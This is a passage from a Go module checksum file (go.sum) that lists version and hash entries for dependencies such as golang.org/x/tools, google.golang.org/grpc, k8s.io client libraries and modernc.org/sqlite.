golang.org/x/tools v0.0.0-20190506145303-2d16b83fe98c/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
golang.org/x/tools v0.0.0-20190606124116-d0a3d012864b/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
golang.org/x/tools v0.0.0-20190624222133-a101b041ded4/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191113191852-77e3bb0ad9e7/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191115202509-3a792d9c32b2/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191125144606-a911d9008d1f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191130070609-6e064ea0cf2d/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.0.0-20191216173652-a0e659d51361/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20191227053925-7b8e75db28f4/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20200117161641-43d50277825c/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20200122220014-bf1340f18c4a/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20200204074204-1cc6d1ef6c74/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20200207183749-b753a1ba74fa/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20200212150539-ea181f53ac56/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20200224181240-023911ca70b2/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20200227222343-706bc42d1f0d/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20200304193943-95d2e580d8eb/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw=
golang.org/x/tools v0.0.0-20200312045724-11d5b4c81c7d/go.mod h1:o4KQGtdN14AW+yjsvvwRTJJuXz8XRtIHtEnmAXLyFUw=
golang.org/x/tools v0.0.0-20200331025713-a30bf2db82d4/go.mod h1:Sl4aGygMT6LrqrWclx+PTx3U+LnKx/seiNR+3G19Ar8=
golang.org/x/tools v0.0.0-20200501065659-ab2804fb9c9d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
golang.org/x/tools v0.0.0-20200512131952-2bc93b1c0c88/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
golang.org/x/tools v0.0.0-20200515010526-7d3b6ebf133d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
golang.org/x/tools v0.0.0-20200618134242-20370b0cb4b2/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=
golang.org/x/tools v0.0.0-20200729194436-6467de6f59a7/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA=
golang.org/x/tools v0.0.0-20200804011535-6c149bb5ef0d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA=
golang.org/x/tools v0.0.0-20200825202427-b303f430e36d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA=
golang.org/x/tools v0.0.0-20201124115921-2c860bdd6e78/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0=
golang.org/x/tools v0.1.1 h1:wGiQel/hW0NnEkJUk8lbzkX2gFJU6PFxf1v5OlCfuOs=
golang.org/x/tools v0.1.1/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE=
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE=
google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M=
google.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg=
google.golang.org/api v0.9.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg=
google.golang.org/api v0.13.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI=
google.golang.org/api v0.14.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI=
google.golang.org/api v0.15.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI=
google.golang.org/api v0.17.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE=
google.golang.org/api v0.18.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE=
google.golang.org/api v0.19.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE=
google.golang.org/api v0.20.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE=
google.golang.org/api v0.22.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE=
google.golang.org/api v0.24.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE=
google.golang.org/api v0.28.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE=
google.golang.org/api v0.29.0/go.mod h1:Lcubydp8VUV7KeIHD9z2Bys/sm/vGKnG1UHuDBSrHWM=
google.golang.org/api v0.30.0/go.mod h1:QGmEvQ87FHZNiUVJkT14jQNYJ4ZJjdRF23ZXz5138Fc=
google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM=
google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0=
google.golang.org/appengine v1.6.5/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=
google.golang.org/appengine v1.6.6/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=
google.golang.org/appengine v1.6.7 h1:FZR1q0exgwxzPzp/aF+VccGrSfxfPpkBqjIIEq3ru6c=
google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc=
google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
google.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
google.golang.org/genproto v0.0.0-20190502173448-54afdca5d873/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
google.golang.org/genproto v0.0.0-20190801165951-fa694d86fc64/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
google.golang.org/genproto v0.0.0-20190911173649-1774047e7e51/go.mod h1:IbNlFCBrqXvoKpeg0TB2l7cyZUmoaFKYIwrEpbDKLA8=
google.golang.org/genproto v0.0.0-20191108220845-16a3f7862a1a/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
google.golang.org/genproto v0.0.0-20191115194625-c23dd37a84c9/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
google.golang.org/genproto v0.0.0-20191216164720-4f79533eabd1/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
google.golang.org/genproto v0.0.0-20191230161307-f3c370f40bfb/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
google.golang.org/genproto v0.0.0-20200115191322-ca5a22157cba/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
google.golang.org/genproto v0.0.0-20200122232147-0452cf42e150/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
google.golang.org/genproto v0.0.0-20200204135345-fa8e72b47b90/go.mod h1:GmwEX6Z4W5gMy59cAlVYjN9JhxgbQH6Gn+gFDQe2lzA=
google.golang.org/genproto v0.0.0-20200212174721-66ed5ce911ce/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/genproto v0.0.0-20200224152610-e50cd9704f63/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/genproto v0.0.0-20200228133532-8c2c7df3a383/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/genproto v0.0.0-20200305110556-506484158171/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/genproto v0.0.0-20200312145019-da6875a35672/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/genproto v0.0.0-20200331122359-1ee6d9798940/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/genproto v0.0.0-20200430143042-b979b6f78d84/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/genproto v0.0.0-20200511104702-f5ebc3bea380/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c=
google.golang.org/genproto v0.0.0-20200515170657-fc4c6c6a6587/go.mod h1:YsZOwe1myG/8QRHRsmBRE1LrgQY60beZKjly0O1fX9U=
google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo=
google.golang.org/genproto v0.0.0-20200618031413-b414f8b61790/go.mod h1:jDfRM7FcilCzHH/e9qn6dsT145K34l5v+OpcnNgKAAA=
google.golang.org/genproto v0.0.0-20200729003335-053ba62fc06f/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
google.golang.org/genproto v0.0.0-20200804131852-c06518451d9c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
google.golang.org/genproto v0.0.0-20200825200019-8632dd797987/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
google.golang.org/genproto v0.0.0-20201019141844-1ed22bb0c154/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no=
google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38=
google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM=
google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY=
google.golang.org/grpc v1.26.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
google.golang.org/grpc v1.27.1/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
google.golang.org/grpc v1.28.0/go.mod h1:rpkK4SK4GF4Ach/+MFLZUBavHOvF2JJB5uozKKal+60=
google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk=
google.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=
google.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak=
google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=
google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=
google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=
google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE=
google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo=
google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4=
google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c=
google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
google.golang.org/protobuf v1.28.0 h1:w43yiav+6bVFTBQFZX0r7ipe9JQ1QsbMgHwbBziscLw=
google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/check.v1 v1.0.0-20200227125254-8fa46927fb4f h1:BLraFXnmrev5lT+xlilqcH8XK9/i0At2xKjWk4p6zsU=
gopkg.in/check.v1 v1.0.0-20200227125254-8fa46927fb4f/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI=
gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys=
gopkg.in/inf.v0 v0.9.1 h1:73M5CoZyi3ZLMOyDlQh031Cx6N9NDJ2Vvfl76EDAgDc=
gopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw=
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw=
gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.0-20200615113413-eeeca48fe776/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gotest.tools/v3 v3.0.2/go.mod h1:3SzNCllyD9/Y+b5r9JIKQ474KzkZyqLqEfYqMsX94Bk=
gotest.tools/v3 v3.3.0 h1:MfDY1b1/0xN1CyMlQDac0ziEy9zJQd9CXBRRDHw2jJo=
gotest.tools/v3 v3.3.0/go.mod h1:Mcr9QNxkg0uMvy/YElmo4SpXgJKWgQvYrT7Kw5RzJ1A=
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg=
honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k=
honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k=
k8s.io/api v0.22.5 h1:xk7C+rMjF/EGELiD560jdmwzrB788mfcHiNbMQLIVI8=
k8s.io/api v0.22.5/go.mod h1:mEhXyLaSD1qTOf40rRiKXkc+2iCem09rWLlFwhCEiAs=
k8s.io/apimachinery v0.22.5 h1:cIPwldOYm1Slq9VLBRPtEYpyhjIm1C6aAMAoENuvN9s=
k8s.io/apimachinery v0.22.5/go.mod h1:xziclGKwuuJ2RM5/rSFQSYAj0zdbci3DH8kj+WvyN0U=
k8s.io/client-go v0.22.5 h1:I8Zn/UqIdi2r02aZmhaJ1hqMxcpfJ3t5VqvHtctHYFo=
k8s.io/client-go v0.22.5/go.mod h1:cs6yf/61q2T1SdQL5Rdcjg9J1ElXSwbjSrW2vFImM4Y=
k8s.io/gengo v0.0.0-20200413195148-3a45101e95ac/go.mod h1:ezvh/TsK7cY6rbqRK0oQQ8IAqLxYwwyPxAX1Pzy0ii0=
k8s.io/klog/v2 v2.0.0/go.mod h1:PBfzABfn139FHAV07az/IF9Wp1bkk3vpT2XSJ76fSDE=
k8s.io/klog/v2 v2.9.0/go.mod h1:hy9LJ/NvuK+iVyP4Ehqva4HxZG/oXyIS3n3Jmire4Ec=
k8s.io/klog/v2 v2.30.0 h1:bUO6drIvCIsvZ/XFgfxoGFQU/a4Qkh0iAlvUR7vlHJw=
k8s.io/klog/v2 v2.30.0/go.mod h1:y1WjHnz7Dj687irZUWR/WLkLc5N1YHtjLdmgWjndZn0=
k8s.io/kube-openapi v0.0.0-20211109043538-20434351676c/go.mod h1:vHXdDvt9+2spS2Rx9ql3I8tycm3H9FDfdUoIuKCefvw=
k8s.io/utils v0.0.0-20210819203725-bdf08cb9a70a/go.mod h1:jPW/WVKK9YHAvNhRxK0md/EJ228hCsBRufyofKtW8HA=
k8s.io/utils v0.0.0-20220728103510-ee6ede2d64ed h1:jAne/RjBTyawwAy0utX5eqigAwz/lQhTmy+Hr/Cpue4=
k8s.io/utils v0.0.0-20220728103510-ee6ede2d64ed/go.mod h1:jPW/WVKK9YHAvNhRxK0md/EJ228hCsBRufyofKtW8HA=
lukechampine.com/uint128 v1.1.1 h1:pnxCASz787iMf+02ssImqk6OLt+Z5QHMoZyUXR4z6JU=
lukechampine.com/uint128 v1.1.1/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk=
modernc.org/cc/v3 v3.36.0 h1:0kmRkTmqNidmu3c7BNDSdVHCxXCkWLmWmCIVX4LUboo=
modernc.org/cc/v3 v3.36.0/go.mod h1:NFUHyPn4ekoC/JHeZFfZurN6ixxawE1BnVonP/oahEI=
modernc.org/ccgo/v3 v3.0.0-20220428102840-41399a37e894/go.mod h1:eI31LL8EwEBKPpNpA4bU1/i+sKOwOrQy8D87zWUcRZc=
modernc.org/ccgo/v3 v3.0.0-20220430103911-bc99d88307be/go.mod h1:bwdAnOoaIt8Ax9YdWGjxWsdkPcZyRPHqrOvJxaKAKGw=
modernc.org/ccgo/v3 v3.16.4/go.mod h1:tGtX0gE9Jn7hdZFeU88slbTh1UtCYKusWOoCJuvkWsQ=
modernc.org/ccgo/v3 v3.16.6 h1:3l18poV+iUemQ98O3X5OMr97LOqlzis+ytivU4NqGhA=
modernc.org/ccgo/v3 v3.16.6/go.mod h1:tGtX0gE9Jn7hdZFeU88slbTh1UtCYKusWOoCJuvkWsQ=
modernc.org/ccorpus v1.11.6 h1:J16RXiiqiCgua6+ZvQot4yUuUy8zxgqbqEEUuGPlISk=
modernc.org/ccorpus v1.11.6/go.mod h1:2gEUTrWqdpH2pXsmTM1ZkjeSrUWDpjMu2T6m29L/ErQ=
modernc.org/httpfs v1.0.6 h1:AAgIpFZRXuYnkjftxTAZwMIiwEqAfk8aVB2/oA6nAeM=
modernc.org/httpfs v1.0.6/go.mod h1:7dosgurJGp0sPaRanU53W4xZYKh14wfzX420oZADeHM=
modernc.org/libc v0.0.0-20220428101251-2d5f3daf273b/go.mod h1:p7Mg4+koNjc8jkqwcoFBJx7tXkpj00G77X7A72jXPXA=
modernc.org/libc v1.16.0/go.mod h1:N4LD6DBE9cf+Dzf9buBlzVJndKr/iJHG97vGLHYnb5A=
modernc.org/libc v1.16.1/go.mod h1:JjJE0eu4yeK7tab2n4S1w8tlWd9MxXLRzheaRnAKymU=
modernc.org/libc v1.16.7 h1:qzQtHhsZNpVPpeCu+aMIQldXeV1P0vRhSqCL0nOIJOA=
modernc.org/libc v1.16.7/go.mod h1:hYIV5VZczAmGZAnG15Vdngn5HSF5cSkbvfz2B7GRuVU=
modernc.org/mathutil v1.2.2/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
modernc.org/mathutil v1.4.1 h1:ij3fYGe8zBF4Vu+g0oT7mB06r8sqGWKuJu1yXeR4by8=
modernc.org/mathutil v1.4.1/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
modernc.org/memory v1.1.1 h1:bDOL0DIDLQv7bWhP3gMvIrnoFw+Eo6F7a2QK9HPDiFU=
modernc.org/memory v1.1.1/go.mod h1:/0wo5ibyrQiaoUoH7f9D8dnglAmILJ5/cxZlRECf+Nw=
modernc.org/opt v0.1.1 h1:/0RX92k9vwVeDXj+Xn23DKp2VJubL7k8qNffND6qn3A=
modernc.org/opt v0.1.1/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0=
modernc.org/sqlite v1.17.3 h1:iE+coC5g17LtByDYDWKpR6m2Z9022YrSh3bumwOnIrI=
modernc.org/sqlite v1.17.3/go.mod h1:10hPVYar9C0kfXuTWGz8s0XtB8uAGymUy51ZzStYe3k=
modernc.org/strutil v1.1.1 h1:xv+J1BXY3Opl2ALrBwyfEikFAj8pmqcpnfmuwUwcozs=
modernc.org/strutil v1.1.1/go.mod h1:DE+MQQ/hjKBZS2zNInV5hhcipt5rLPWkmpbGeW5mmdw=
modernc.org/tcl v1.13.1 h1:npxzTwFTZYM8ghWicVIX1cRWzj7Nd8i6AqqX2p+IYao=
modernc.org/tcl v1.13.1/go.mod h1:XOLfOwzhkljL4itZkK6T72ckMgvj0BDsnKNdZVUOecw=
